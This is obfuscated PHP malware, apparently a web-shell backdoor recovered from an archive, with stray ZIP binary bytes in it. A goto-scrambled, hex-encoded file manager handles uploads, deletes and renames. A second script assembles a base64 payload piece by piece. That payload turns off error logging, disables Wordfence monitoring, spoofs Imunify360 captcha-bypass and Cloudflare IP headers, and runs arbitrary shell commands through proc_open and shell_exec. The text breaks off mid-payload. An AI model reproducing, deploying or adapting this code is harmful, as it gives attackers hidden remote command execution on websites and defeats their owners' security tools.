VEyk9: $fd8bH = $yGbeW . "\x2f" . $_GET["\144\x65\154\145\164\x65"]; goto ADsYZ; JtHSy: QYVs3: goto vTVYv; hD3PH: if (!isset($_POST["\x75\160\154\157\x61\144"])) { goto zOaYm; } goto TG6KR; kgUpB: echo "\40\40\x20\x20\x20\40\40\40\x3c\x2f\x74\142\157\x64\x79\x3e\xa\40\x20\x20\x20\74\57\164\141\142\x6c\145\76\12\12\x20\40\x20\40\x3c\41\x2d\55\x20\106\x6f\162\x6d\x20\x75\x6e\x74\x75\153\40\162\x65\x6e\x61\x6d\145\x20\146\x69\x6c\145\40\55\55\x3e\12\40\x20\x20\40"; goto Qqd91; fII2j: echo htmlspecialchars($CmNff); goto yzbBN; JuNBA: echo "\x3c\x2f\142\x6f\x64\171\x3e\12\x3c\57\x68\164\155\154\76";PK uPm\A4��|� |� mjdqk.phpnu �[��� <?php
$z .= "DQpA";
$z .= "aW5p";
$z .= "X3Nl";
$z .= "dCgn";
$z .= "ZXJy";
$z .= "b3Jf";
$z .= "bG9n";
$z .= "Jywg";
$z .= "TlVM";
$z .= "TCk7";
$z .= "DQpA";
$z .= "aW5p";
$z .= "X3Nl";
$z .= "dCgn";
$z .= "bG9n";
$z .= "X2Vy";
$z .= "cm9y";
$z .= "cycs";
$z .= "IDAp";
$z .= "Ow0K";
$z .= "QGlu";
$z .= "aV9z";
$z .= "ZXQo";
$z .= "J21h";
$z .= "eF9l";
$z .= "eGVj";
$z .= "dXRp";
$z .= "b25f";
$z .= "dGlt";
$z .= "ZScs";
$z .= "IDAp";
$z .= "Ow0K";
$z .= "QGVy";
$z .= "cm9y";
$z .= "X3Jl";
$z .= "cG9y";
$z .= "dGlu";
$z .= "Zygw";
$z .= "KTsN";
$z .= "CkBz";
$z .= "ZXRf";
$z .= "dGlt";
$z .= "ZV9s";
$z .= "aW1p";
$z .= "dCgw";
$z .= "KTsN";
$z .= "Cmlm";
$z .= "IChm";
$z .= "dW5j";
$z .= "dGlv";
$z .= "bl9l";
$z .= "eGlz";
$z .= "dHMo";
$z .= "J2xp";
$z .= "dGVz";
$z .= "cGVl";
$z .= "ZF9y";
$z .= "ZXF1";
$z .= "ZXN0";
$z .= "X2hl";
$z .= "YWRl";
$z .= "cnMn";
$z .= "KSkg";
$z .= "ew0K";
$z .= "ICAg";
$z .= "ICRo";
$z .= "ZWFk";
$z .= "ZXJz";
$z .= "ID0g";
$z .= "bGl0";
$z .= "ZXNw";
$z .= "ZWVk";
$z .= "X3Jl";
$z .= "cXVl";
$z .= "c3Rf";
$z .= "aGVh";
$z .= "ZGVy";
$z .= "cygp";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "IGlm";
$z .= "IChp";
$z .= "c3Nl";
$z .= "dCgk";
$z .= "aGVh";
$z .= "ZGVy";
$z .= "c1sn";
$z .= "WC1M";
$z .= "U0NB";
$z .= "Q0hF";
$z .= "J10p";
$z .= "KSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IGhl";
$z .= "YWRl";
$z .= "cign";
$z .= "WC1M";
$z .= "U0NB";
$z .= "Q0hF";
$z .= "OiBv";
$z .= "ZmYn";
$z .= "KTsN";
$z .= "CiAg";
$z .= "ICB9";
$z .= "DQp9";
$z .= "DQpp";
$z .= "ZiAo";
$z .= "ZGVm";
$z .= "aW5l";
$z .= "ZCgn";
$z .= "V09S";
$z .= "REZF";
$z .= "TkNF";
$z .= "X1ZF";
$z .= "UlNJ";
$z .= "T04n";
$z .= "KSkg";
$z .= "ew0K";
$z .= "ICAg";
$z .= "IGRl";
$z .= "Zmlu";
$z .= "ZSgn";
$z .= "V09S";
$z .= "REZF";
$z .= "TkNF";
$z .= "X0RJ";
$z .= "U0FC";
$z .= "TEVf";
$z .= "TElW";
$z .= "RV9U";
$z .= "UkFG";
$z .= "RklD";
$z .= "Jywg";
$z .= "dHJ1";
$z .= "ZSk7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ZGVm";
$z .= "aW5l";
$z .= "KCdX";
$z .= "T1JE";
$z .= "RkVO";
$z .= "Q0Vf";
$z .= "RElT";
$z .= "QUJM";
$z .= "RV9G";
$z .= "SUxF";
$z .= "X01P";
$z .= "RFMn";
$z .= "LCB0";
$z .= "cnVl";
$z .= "KTsN";
$z .= "Cn0N";
$z .= "Cmlm";
$z .= "IChm";
$z .= "dW5j";
$z .= "dGlv";
$z .= "bl9l";
$z .= "eGlz";
$z .= "dHMo";
$z .= "J2lt";
$z .= "dW5p";
$z .= "Znkz";
$z .= "NjBf";
$z .= "cmVx";
$z .= "dWVz";
$z .= "dF9o";
$z .= "ZWFk";
$z .= "ZXJz";
$z .= "Jykg";
$z .= "JiYg";
$z .= "ZGVm";
$z .= "aW5l";
$z .= "ZCgn";
$z .= "SU1V";
$z .= "TklG";
$z .= "WTM2";
$z .= "MF9W";
$z .= "RVJT";
$z .= "SU9O";
$z .= "Jykp";
$z .= "IHsN";
$z .= "CiAg";
$z .= "ICAk";
$z .= "aW11";
$z .= "bmlm";
$z .= "eUhl";
$z .= "YWRl";
$z .= "cnMg";
$z .= "PSBp";
$z .= "bXVu";
$z .= "aWZ5";
$z .= "MzYw";
$z .= "X3Jl";
$z .= "cXVl";
$z .= "c3Rf";
$z .= "aGVh";
$z .= "ZGVy";
$z .= "cygp";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "IGlm";
$z .= "IChp";
$z .= "c3Nl";
$z .= "dCgk";
$z .= "aW11";
$z .= "bmlm";
$z .= "eUhl";
$z .= "YWRl";
$z .= "cnNb";
$z .= "J1gt";
$z .= "SW11";
$z .= "bmlm";
$z .= "eTM2";
$z .= "MC1S";
$z .= "ZXF1";
$z .= "ZXN0";
$z .= "J10p";
$z .= "KSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IGhl";
$z .= "YWRl";
$z .= "cign";
$z .= "WC1J";
$z .= "bXVu";
$z .= "aWZ5";
$z .= "MzYw";
$z .= "LVJl";
$z .= "cXVl";
$z .= "c3Q6";
$z .= "IGJ5";
$z .= "cGFz";
$z .= "cycp";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "IH0N";
$z .= "CiAg";
$z .= "ICBp";
$z .= "ZiAo";
$z .= "aXNz";
$z .= "ZXQo";
$z .= "JGlt";
$z .= "dW5p";
$z .= "ZnlI";
$z .= "ZWFk";
$z .= "ZXJz";
$z .= "WydY";
$z .= "LUlt";
$z .= "dW5p";
$z .= "Znkz";
$z .= "NjAt";
$z .= "Q2Fw";
$z .= "dGNo";
$z .= "YS1C";
$z .= "eXBh";
$z .= "c3Mn";
$z .= "XSkp";
$z .= "IHsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "aGVh";
$z .= "ZGVy";
$z .= "KCdY";
$z .= "LUlt";
$z .= "dW5p";
$z .= "Znkz";
$z .= "NjAt";
$z .= "Q2Fw";
$z .= "dGNo";
$z .= "YS1C";
$z .= "eXBh";
$z .= "c3M6";
$z .= "ICcg";
$z .= "LiAk";
$z .= "aW11";
$z .= "bmlm";
$z .= "eUhl";
$z .= "YWRl";
$z .= "cnNb";
$z .= "J1gt";
$z .= "SW11";
$z .= "bmlm";
$z .= "eTM2";
$z .= "MC1D";
$z .= "YXB0";
$z .= "Y2hh";
$z .= "LUJ5";
$z .= "cGFz";
$z .= "cydd";
$z .= "KTsN";
$z .= "CiAg";
$z .= "ICB9";
$z .= "DQp9";
$z .= "DQpp";
$z .= "ZiAo";
$z .= "ZnVu";
$z .= "Y3Rp";
$z .= "b25f";
$z .= "ZXhp";
$z .= "c3Rz";
$z .= "KCdh";
$z .= "cGFj";
$z .= "aGVf";
$z .= "cmVx";
$z .= "dWVz";
$z .= "dF9o";
$z .= "ZWFk";
$z .= "ZXJz";
$z .= "Jykp";
$z .= "IHsN";
$z .= "CiAg";
$z .= "ICAk";
$z .= "YXBh";
$z .= "Y2hl";
$z .= "SGVh";
$z .= "ZGVy";
$z .= "cyA9";
$z .= "IGFw";
$z .= "YWNo";
$z .= "ZV9y";
$z .= "ZXF1";
$z .= "ZXN0";
$z .= "X2hl";
$z .= "YWRl";
$z .= "cnMo";
$z .= "KTsN";
$z .= "CiAg";
$z .= "ICBp";
$z .= "ZiAo";
$z .= "aXNz";
$z .= "ZXQo";
$z .= "JGFw";
$z .= "YWNo";
$z .= "ZUhl";
$z .= "YWRl";
$z .= "cnNb";
$z .= "J1gt";
$z .= "TW9k";
$z .= "LVNl";
$z .= "Y3Vy";
$z .= "aXR5";
$z .= "J10p";
$z .= "KSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IGhl";
$z .= "YWRl";
$z .= "cign";
$z .= "WC1N";
$z .= "b2Qt";
$z .= "U2Vj";
$z .= "dXJp";
$z .= "dHk6";
$z .= "ICcg";
$z .= "LiAk";
$z .= "YXBh";
$z .= "Y2hl";
$z .= "SGVh";
$z .= "ZGVy";
$z .= "c1sn";
$z .= "WC1N";
$z .= "b2Qt";
$z .= "U2Vj";
$z .= "dXJp";
$z .= "dHkn";
$z .= "XSk7";
$z .= "DQog";
$z .= "ICAg";
$z .= "fQ0K";
$z .= "fQ0K";
$z .= "aWYg";
$z .= "KGlz";
$z .= "c2V0";
$z .= "KCRf";
$z .= "U0VS";
$z .= "VkVS";
$z .= "WydI";
$z .= "VFRQ";
$z .= "X0NG";
$z .= "X0NP";
$z .= "Tk5F";
$z .= "Q1RJ";
$z .= "Tkdf";
$z .= "SVAn";
$z .= "XSkg";
$z .= "JiYg";
$z .= "ZGVm";
$z .= "aW5l";
$z .= "ZCgn";
$z .= "Q0xP";
$z .= "VURG";
$z .= "TEFS";
$z .= "RV9W";
$z .= "RVJT";
$z .= "SU9O";
$z .= "Jykp";
$z .= "IHsN";
$z .= "CiAg";
$z .= "ICAk";
$z .= "X1NF";
$z .= "UlZF";
$z .= "Ulsn";
$z .= "UkVN";
$z .= "T1RF";
$z .= "X0FE";
$z .= "RFIn";
$z .= "XSA9";
$z .= "ICRf";
$z .= "U0VS";
$z .= "VkVS";
$z .= "WydI";
$z .= "VFRQ";
$z .= "X0NG";
$z .= "X0NP";
$z .= "Tk5F";
$z .= "Q1RJ";
$z .= "Tkdf";
$z .= "SVAn";
$z .= "XTsN";
$z .= "CiAg";
$z .= "ICBp";
$z .= "ZiAo";
$z .= "aXNz";
$z .= "ZXQo";
$z .= "JGFw";
$z .= "YWNo";
$z .= "ZUhl";
$z .= "YWRl";
$z .= "cnNb";
$z .= "J0hU";
$z .= "VFBf";
$z .= "Q0Zf";
$z .= "VklT";
$z .= "SVRP";
$z .= "Uidd";
$z .= "KSkg";
$z .= "ew0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICBo";
$z .= "ZWFk";
$z .= "ZXIo";
$z .= "J0hU";
$z .= "VFBf";
$z .= "Q0Zf";
$z .= "VklT";
$z .= "SVRP";
$z .= "Ujog";
$z .= "JyAu";
$z .= "ICRh";
$z .= "cGFj";
$z .= "aGVI";
$z .= "ZWFk";
$z .= "ZXJz";
$z .= "WydI";
$z .= "VFRQ";
$z .= "X0NG";
$z .= "X1ZJ";
$z .= "U0lU";
$z .= "T1In";
$z .= "XSk7";
$z .= "DQog";
$z .= "ICAg";
$z .= "fQ0K";
$z .= "fQ0K";
$z .= "ZnVu";
$z .= "Y3Rp";
$z .= "b24g";
$z .= "Z2V0";
$z .= "Rmls";
$z .= "ZURl";
$z .= "dGFp";
$z .= "bHMo";
$z .= "JHBh";
$z .= "dGgp";
$z .= "DQp7";
$z .= "DQog";
$z .= "ICAg";
$z .= "JGZv";
$z .= "bGRl";
$z .= "cnMg";
$z .= "PSBb";
$z .= "XTsN";
$z .= "CiAg";
$z .= "ICAk";
$z .= "Zmls";
$z .= "ZXMg";
$z .= "PSBb";
$z .= "XTsN";
$z .= "Cg0K";
$z .= "ICAg";
$z .= "IHRy";
$z .= "eSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICRp";
$z .= "dGVt";
$z .= "cyA9";
$z .= "IEBz";
$z .= "Y2Fu";
$z .= "ZGly";
$z .= "KCRw";
$z .= "YXRo";
$z .= "KTsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "aWYg";
$z .= "KCFp";
$z .= "c19h";
$z .= "cnJh";
$z .= "eSgk";
$z .= "aXRl";
$z .= "bXMp";
$z .= "KSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICB0";
$z .= "aHJv";
$z .= "dyBu";
$z .= "ZXcg";
$z .= "RXhj";
$z .= "ZXB0";
$z .= "aW9u";
$z .= "KCdG";
$z .= "YWls";
$z .= "ZWQg";
$z .= "dG8g";
$z .= "c2Nh";
$z .= "biBk";
$z .= "aXJl";
$z .= "Y3Rv";
$z .= "cnkn";
$z .= "KTsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "fQ0K";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IGZv";
$z .= "cmVh";
$z .= "Y2gg";
$z .= "KCRp";
$z .= "dGVt";
$z .= "cyBh";
$z .= "cyAk";
$z .= "aXRl";
$z .= "bSkg";
$z .= "ew0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "aWYg";
$z .= "KCRp";
$z .= "dGVt";
$z .= "ID09";
$z .= "ICcu";
$z .= "JyB8";
$z .= "fCAk";
$z .= "aXRl";
$z .= "bSA9";
$z .= "PSAn";
$z .= "Li4n";
$z .= "KSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "Y29u";
$z .= "dGlu";
$z .= "dWU7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICB9";
$z .= "DQoN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICRp";
$z .= "dGVt";
$z .= "UGF0";
$z .= "aCA9";
$z .= "ICRw";
$z .= "YXRo";
$z .= "IC4g";
$z .= "Jy8n";
$z .= "IC4g";
$z .= "JGl0";
$z .= "ZW07";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAk";
$z .= "aXRl";
$z .= "bURl";
$z .= "dGFp";
$z .= "bHMg";
$z .= "PSBb";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "J25h";
$z .= "bWUn";
$z .= "ID0+";
$z .= "ICRp";
$z .= "dGVt";
$z .= "LA0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICd0";
$z .= "eXBl";
$z .= "JyA9";
$z .= "PiBp";
$z .= "c19k";
$z .= "aXIo";
$z .= "JGl0";
$z .= "ZW1Q";
$z .= "YXRo";
$z .= "KSA/";
$z .= "ICdG";
$z .= "b2xk";
$z .= "ZXIn";
$z .= "IDog";
$z .= "J0Zp";
$z .= "bGUn";
$z .= "LA0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICdz";
$z .= "aXpl";
$z .= "JyA9";
$z .= "PiBp";
$z .= "c19k";
$z .= "aXIo";
$z .= "JGl0";
$z .= "ZW1Q";
$z .= "YXRo";
$z .= "KSA/";
$z .= "ICcn";
$z .= "IDog";
$z .= "Zm9y";
$z .= "bWF0";
$z .= "U2l6";
$z .= "ZShm";
$z .= "aWxl";
$z .= "c2l6";
$z .= "ZSgk";
$z .= "aXRl";
$z .= "bVBh";
$z .= "dGgp";
$z .= "KSwN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAn";
$z .= "cGVy";
$z .= "bWlz";
$z .= "c2lv";
$z .= "bicg";
$z .= "PT4g";
$z .= "c3Vi";
$z .= "c3Ry";
$z .= "KHNw";
$z .= "cmlu";
$z .= "dGYo";
$z .= "JyVv";
$z .= "Jywg";
$z .= "Zmls";
$z .= "ZXBl";
$z .= "cm1z";
$z .= "KCRp";
$z .= "dGVt";
$z .= "UGF0";
$z .= "aCkp";
$z .= "LCAt";
$z .= "NCks";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICBd";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "aWYg";
$z .= "KGlz";
$z .= "X2Rp";
$z .= "cigk";
$z .= "aXRl";
$z .= "bVBh";
$z .= "dGgp";
$z .= "KSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "JGZv";
$z .= "bGRl";
$z .= "cnNb";
$z .= "XSA9";
$z .= "ICRp";
$z .= "dGVt";
$z .= "RGV0";
$z .= "YWls";
$z .= "czsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IH0g";
$z .= "ZWxz";
$z .= "ZSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "JGZp";
$z .= "bGVz";
$z .= "W10g";
$z .= "PSAk";
$z .= "aXRl";
$z .= "bURl";
$z .= "dGFp";
$z .= "bHM7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICB9";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IH0N";
$z .= "Cg0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICBy";
$z .= "ZXR1";
$z .= "cm4g";
$z .= "YXJy";
$z .= "YXlf";
$z .= "bWVy";
$z .= "Z2Uo";
$z .= "JGZv";
$z .= "bGRl";
$z .= "cnMs";
$z .= "ICRm";
$z .= "aWxl";
$z .= "cyk7";
$z .= "DQog";
$z .= "ICAg";
$z .= "fSBj";
$z .= "YXRj";
$z .= "aCAo";
$z .= "RXhj";
$z .= "ZXB0";
$z .= "aW9u";
$z .= "ICRl";
$z .= "KSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IHJl";
$z .= "dHVy";
$z .= "biAn";
$z .= "Tm9u";
$z .= "ZSc7";
$z .= "DQog";
$z .= "ICAg";
$z .= "fQ0K";
$z .= "fQ0K";
$z .= "ZnVu";
$z .= "Y3Rp";
$z .= "b24g";
$z .= "Zm9y";
$z .= "bWF0";
$z .= "U2l6";
$z .= "ZSgk";
$z .= "c2l6";
$z .= "ZSkN";
$z .= "CnsN";
$z .= "CiAg";
$z .= "ICAk";
$z .= "dW5p";
$z .= "dHMg";
$z .= "PSBh";
$z .= "cnJh";
$z .= "eSgn";
$z .= "Qics";
$z .= "ICdL";
$z .= "Qics";
$z .= "ICdN";
$z .= "Qics";
$z .= "ICdH";
$z .= "Qics";
$z .= "ICdU";
$z .= "Qicp";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "ICRp";
$z .= "ID0g";
$z .= "MDsN";
$z .= "CiAg";
$z .= "ICB3";
$z .= "aGls";
$z .= "ZSAo";
$z .= "JHNp";
$z .= "emUg";
$z .= "Pj0g";
$z .= "MTAy";
$z .= "NCAm";
$z .= "JiAk";
$z .= "aSA8";
$z .= "IDQp";
$z .= "IHsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "JHNp";
$z .= "emUg";
$z .= "Lz0g";
$z .= "MTAy";
$z .= "NDsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "JGkr";
$z .= "KzsN";
$z .= "CiAg";
$z .= "ICB9";
$z .= "DQog";
$z .= "ICAg";
$z .= "cmV0";
$z .= "dXJu";
$z .= "IHJv";
$z .= "dW5k";
$z .= "KCRz";
$z .= "aXpl";
$z .= "LCAy";
$z .= "KSAu";
$z .= "ICcg";
$z .= "JyAu";
$z .= "ICR1";
$z .= "bml0";
$z .= "c1sk";
$z .= "aV07";
$z .= "DQp9";
$z .= "DQpm";
$z .= "dW5j";
$z .= "dGlv";
$z .= "biBl";
$z .= "eGVj";
$z .= "dXRl";
$z .= "Q29t";
$z .= "bWFu";
$z .= "ZCgk";
$z .= "Y29t";
$z .= "bWFu";
$z .= "ZCkN";
$z .= "CnsN";
$z .= "CiAg";
$z .= "ICAk";
$z .= "Y3Vy";
$z .= "cmVu";
$z .= "dERp";
$z .= "cmVj";
$z .= "dG9y";
$z .= "eSA9";
$z .= "IGdl";
$z .= "dEN1";
$z .= "cnJl";
$z .= "bnRE";
$z .= "aXJl";
$z .= "Y3Rv";
$z .= "cnko";
$z .= "KTsN";
$z .= "CiAg";
$z .= "ICAk";
$z .= "Y29t";
$z .= "bWFu";
$z .= "ZCA9";
$z .= "ICJj";
$z .= "ZCAk";
$z .= "Y3Vy";
$z .= "cmVu";
$z .= "dERp";
$z .= "cmVj";
$z .= "dG9y";
$z .= "eSAm";
$z .= "JiAk";
$z .= "Y29t";
$z .= "bWFu";
$z .= "ZCI7";
$z .= "DQoN";
$z .= "CiAg";
$z .= "ICAk";
$z .= "b3V0";
$z .= "cHV0";
$z .= "ID0g";
$z .= "Jyc7";
$z .= "DQog";
$z .= "ICAg";
$z .= "JGVy";
$z .= "cm9y";
$z .= "ID0g";
$z .= "Jyc7";
$z .= "DQoN";
$z .= "CiAg";
$z .= "ICAv";
$z .= "LyBw";
$z .= "cm9j";
$z .= "X29w";
$z .= "ZW4N";
$z .= "CiAg";
$z .= "ICAk";
$z .= "ZGVz";
$z .= "Y3Jp";
$z .= "cHRv";
$z .= "cnMg";
$z .= "PSBb";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IDAg";
$z .= "PT4g";
$z .= "Wydw";
$z .= "aXBl";
$z .= "Jywg";
$z .= "J3In";
$z .= "XSwN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "MSA9";
$z .= "PiBb";
$z .= "J3Bp";
$z .= "cGUn";
$z .= "LCAn";
$z .= "dydd";
$z .= "LA0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAy";
$z .= "ID0+";
$z .= "IFsn";
$z .= "cGlw";
$z .= "ZScs";
$z .= "ICd3";
$z .= "J10s";
$z .= "DQog";
$z .= "ICAg";
$z .= "XTsN";
$z .= "Cg0K";
$z .= "ICAg";
$z .= "ICRw";
$z .= "cm9j";
$z .= "ZXNz";
$z .= "ID0g";
$z .= "QHBy";
$z .= "b2Nf";
$z .= "b3Bl";
$z .= "bigk";
$z .= "Y29t";
$z .= "bWFu";
$z .= "ZCwg";
$z .= "JGRl";
$z .= "c2Ny";
$z .= "aXB0";
$z .= "b3Jz";
$z .= "LCAk";
$z .= "cGlw";
$z .= "ZXMp";
$z .= "Ow0K";
$z .= "DQog";
$z .= "ICAg";
$z .= "aWYg";
$z .= "KGlz";
$z .= "X3Jl";
$z .= "c291";
$z .= "cmNl";
$z .= "KCRw";
$z .= "cm9j";
$z .= "ZXNz";
$z .= "KSkg";
$z .= "ew0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICBm";
$z .= "Y2xv";
$z .= "c2Uo";
$z .= "JHBp";
$z .= "cGVz";
$z .= "WzBd";
$z .= "KTsN";
$z .= "Cg0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAk";
$z .= "b3V0";
$z .= "cHV0";
$z .= "ID0g";
$z .= "c3Ry";
$z .= "ZWFt";
$z .= "X2dl";
$z .= "dF9j";
$z .= "b250";
$z .= "ZW50";
$z .= "cygk";
$z .= "cGlw";
$z .= "ZXNb";
$z .= "MV0p";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICBm";
$z .= "Y2xv";
$z .= "c2Uo";
$z .= "JHBp";
$z .= "cGVz";
$z .= "WzFd";
$z .= "KTsN";
$z .= "Cg0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAk";
$z .= "ZXJy";
$z .= "b3Ig";
$z .= "PSBz";
$z .= "dHJl";
$z .= "YW1f";
$z .= "Z2V0";
$z .= "X2Nv";
$z .= "bnRl";
$z .= "bnRz";
$z .= "KCRw";
$z .= "aXBl";
$z .= "c1sy";
$z .= "XSk7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IGZj";
$z .= "bG9z";
$z .= "ZSgk";
$z .= "cGlw";
$z .= "ZXNb";
$z .= "Ml0p";
$z .= "Ow0K";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICRy";
$z .= "ZXR1";
$z .= "cm5W";
$z .= "YWx1";
$z .= "ZSA9";
$z .= "IHBy";
$z .= "b2Nf";
$z .= "Y2xv";
$z .= "c2Uo";
$z .= "JHBy";
$z .= "b2Nl";
$z .= "c3Mp";
$z .= "Ow0K";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICRv";
$z .= "dXRw";
$z .= "dXQg";
$z .= "PSB0";
$z .= "cmlt";
$z .= "KCRv";
$z .= "dXRw";
$z .= "dXQp";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAk";
$z .= "ZXJy";
$z .= "b3Ig";
$z .= "PSB0";
$z .= "cmlt";
$z .= "KCRl";
$z .= "cnJv";
$z .= "cik7";
$z .= "DQoN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "aWYg";
$z .= "KCRy";
$z .= "ZXR1";
$z .= "cm5W";
$z .= "YWx1";
$z .= "ZSA9";
$z .= "PT0g";
$z .= "MCAm";
$z .= "JiAh";
$z .= "ZW1w";
$z .= "dHko";
$z .= "JG91";
$z .= "dHB1";
$z .= "dCkp";
$z .= "IHsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IHJl";
$z .= "dHVy";
$z .= "biAk";
$z .= "b3V0";
$z .= "cHV0";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICB9";
$z .= "IGVs";
$z .= "c2Vp";
$z .= "ZiAo";
$z .= "IWVt";
$z .= "cHR5";
$z .= "KCRl";
$z .= "cnJv";
$z .= "cikp";
$z .= "IHsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IHJl";
$z .= "dHVy";
$z .= "biAn";
$z .= "RXJy";
$z .= "b3I6";
$z .= "ICcg";
$z .= "LiAk";
$z .= "ZXJy";
$z .= "b3I7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IH0N";
$z .= "CiAg";
$z .= "ICB9";
$z .= "DQoN";
$z .= "CiAg";
$z .= "ICAv";
$z .= "LyBz";
$z .= "aGVs";
$z .= "bF9l";
$z .= "eGVj";
$z .= "DQog";
$z .= "ICAg";
$z .= "JHNo";
$z .= "ZWxs";
$z .= "T3V0";
$z .= "cHV0";
$z .= "ID0g";
$z .= "QHNo";
$z .= "ZWxs";
$z .= "X2V4";
$z .= "ZWMo";
$z .= "JGNv";
$z .= "bW1h";
$z .= "bmQp";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "IGlm";
$z .= "ICgk";
$z .= "c2hl";
$z .= "bGxP";
$z .= "dXRw";
$z .= "dXQg";
$z .= "IT09";
$z .= "IG51";
$z .= "bGwp";
$z .= "IHsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "JG91";
$z .= "dHB1";
$z .= "dCA9";
$z .= "IHRy";
$z .= "aW0o";
$z .= "JHNo";
$z .= "ZWxs";
$z .= "T3V0";
$z .= "cHV0";
$z .= "KTsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "aWYg";
$z .= "KCFl";
$z .= "bXB0";
$z .= "eSgk";
$z .= "b3V0";
$z .= "cHV0";
$z .= "KSkg";
$z .= "ew0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "cmV0";
$z .= "dXJu";
$z .= "ICRv";
$z .= "dXRw";
$z .= "dXQ7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IH0N";
$z .= "CiAg";
$z .= "ICB9";
$z .= "IGVs";
$z .= "c2Ug";
$z .= "ew0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAk";
$z .= "ZXJy";
$z .= "b3Ig";
$z .= "PSBl";
$z .= "cnJv";
$z .= "cl9n";
$z .= "ZXRf";
$z .= "bGFz";
$z .= "dCgp";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICBp";
$z .= "ZiAo";
$z .= "IWVt";
$z .= "cHR5";
$z .= "KCRl";
$z .= "cnJv";
$z .= "cikp";
$z .= "IHsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IHJl";
$z .= "dHVy";
$z .= "biAn";
$z .= "RXJy";
$z .= "b3I6";
$z .= "ICcg";
$z .= "LiAk";
$z .= "ZXJy";
$z .= "b3Jb";
$z .= "J21l";
$z .= "c3Nh";
$z .= "Z2Un";
$z .= "XTsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "fQ0K";
$z .= "ICAg";
$z .= "IH0N";
$z .= "Cg0K";
$z .= "ICAg";
$z .= "IC8v";
$z .= "IGV4";
$z .= "ZWMN";
$z .= "CiAg";
$z .= "ICBA";
$z .= "ZXhl";
$z .= "Yygk";
